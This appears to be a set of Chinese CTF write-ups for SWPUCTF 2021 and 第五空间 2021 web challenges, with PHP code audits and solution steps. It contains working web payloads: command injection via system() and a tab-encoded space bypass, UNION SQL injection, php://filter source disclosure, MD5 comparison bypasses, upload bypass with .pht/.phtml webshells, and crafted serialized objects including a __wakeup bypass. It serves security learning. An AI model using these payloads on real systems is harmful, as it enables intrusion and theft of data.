[SWPUCTF 2021 新生赛]jicao
代码审计:
<?php
highlight_file('index.php');
include("flag.php"); //包含一个php文件里面可能有一个$flag对象值为flag
$id=$_POST['id']; //发送一个POST请求,传入一个参数id,定义为对象$id
$json=json_decode($_GET['json'],true);
//发送一个GET请求,传入一个参数json;
//true将解析结果以数组形式返回;
//将解析的数组赋值给变量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//当id==wllmNB及$json进行JSON解码后的x的关联值为wllm时,输出$flag的值
?>
结果:
[SWPUCTF 2021 新生赛]easy_md5
代码审计:
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name']; //获取GET请求中的'name'参数值,并赋值给对象$name
$password = $_POST['password']; //获取POST请求中的'password'参数值,并赋值给对象$password
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
//如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,输出$flag的值
else {
echo "wrong!";
}
//条件不满足输出"wrong!"
}
else {
echo 'wrong!';
}
//如果未提供'name'或'password'参数,输出"wrong!"
?>
特殊字符串
某些特殊的字符串,加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。此时就是值不同但md5或sha1值相同
数组绕过
md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,两个数组经过加密后得到的都是NULL,也就是相等的。故传入两个不同的数组经md5()加密会返回为NULL
[SWPUCTF 2021 新生赛]include
发现并没有上传文件的地方
尝试用php://filter伪协议过滤一下flag.php文件(一般flag都在flag.php中)
进入到 flag.php页面,发现一串base64编码,解码后即为flag
[SWPUCTF 2021 新生赛]easy_sql
先用?id=1'尝试发现没变化这时发现网站标题叫“参数是wllm”,所以用?wllm=1'尝试,回显成功
用?wllm=1\判断闭合方式,发现是单引号注入
用union联合注入尝试
回显成功
查询库
爆表
爆列
查看flag
[SWPUCTF 2021 新生赛]easyrce
直接?url=system("ls");
发现回显index.php文件,查看其目录?url=system("ls /");
发现目录中有疑似flag的内容,用?url=system("cat /flllllaaaaaaggggggg");查看
[第五空间 2021]WebFTP
用bp抓包尝试爆破但发现需要还需要验证码爆破难度大所以应该不是弱口令爆破
用dirsearch扫描发现git泄露
进入查看
找了一圈没发现flag
重新看扫描结果发现有个phpinfo.php页面,进入ctrl+f搜索flag,得到flag
[SWPUCTF 2021 新生赛]babyrce
修改cookie值为admin=1得到rasalghul.php文件
进入查看
代码审计:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
//正则匹配空格被禁用
$a = shell_exec($ip);
//shell_exec()将命令的输出作为字符串返回,而不是打印到标准输出。
echo $a;
}
?>
将flag放入1.txt文件中,访问1.txt文件即可得到flag(但这题直接cat%09/f*就可以出来了不需要再访问1.txt文件)
[SWPUCTF 2021 新生赛]ez_unserialize
用御剑扫描
进入网页,发现一个php文件
访问
代码审计:
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag; //目标
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
构造pop链,打开phpstorm
<?php
class wllm{
public $admin;
public $passwd;
// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "ctf"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo "Just a bit more!";
// }
// }
}
//$p = $_GET['p'];
//unserialize($p);
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>
输入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag
[SWPUCTF 2021 新生赛]easyupload2.0
需要提交jpg文件
用bp抓包 ,修改后缀,尝试双写绕过不可行,用其他php可执行文件的扩展名pht、phtml
用蚁剑连接,成功绕过
打开找flag
[SWPUCTF 2021 新生赛]easyupload1.0
需要提交jpg文件
用bp抓包修改后缀
连接蚁剑
打开找flag
但是发现这个flag是错误的
用phpinfo查看php服务器的配置信息
ctrl+f搜索flag
或者直接用蚁剑打开终端用env命令查看环境变量也可以发现flag
[SWPUCTF 2021 新生赛]no_wakeup
点进去查看
代码审计
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
} //反序列化之前触发wakeup,给passwd赋值,导致passwd不等于wllm
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag; //目标
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
构造pop链
<?php
class HaHaHa{
public $admin;
public $passwd;
// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
// public function __wakeup(){
// $this->passwd = sha1($this->passwd);
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "wllm"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->passwd;
// echo "No wake up";
// }
// }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);
$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>
由于_wakeup()函数将wllm加密导致执行echo $this->passwd;echo "No wake up";
故需要绕过_wakeup(),变量数量大于真实的变量数量即可绕过_wakeup()的执行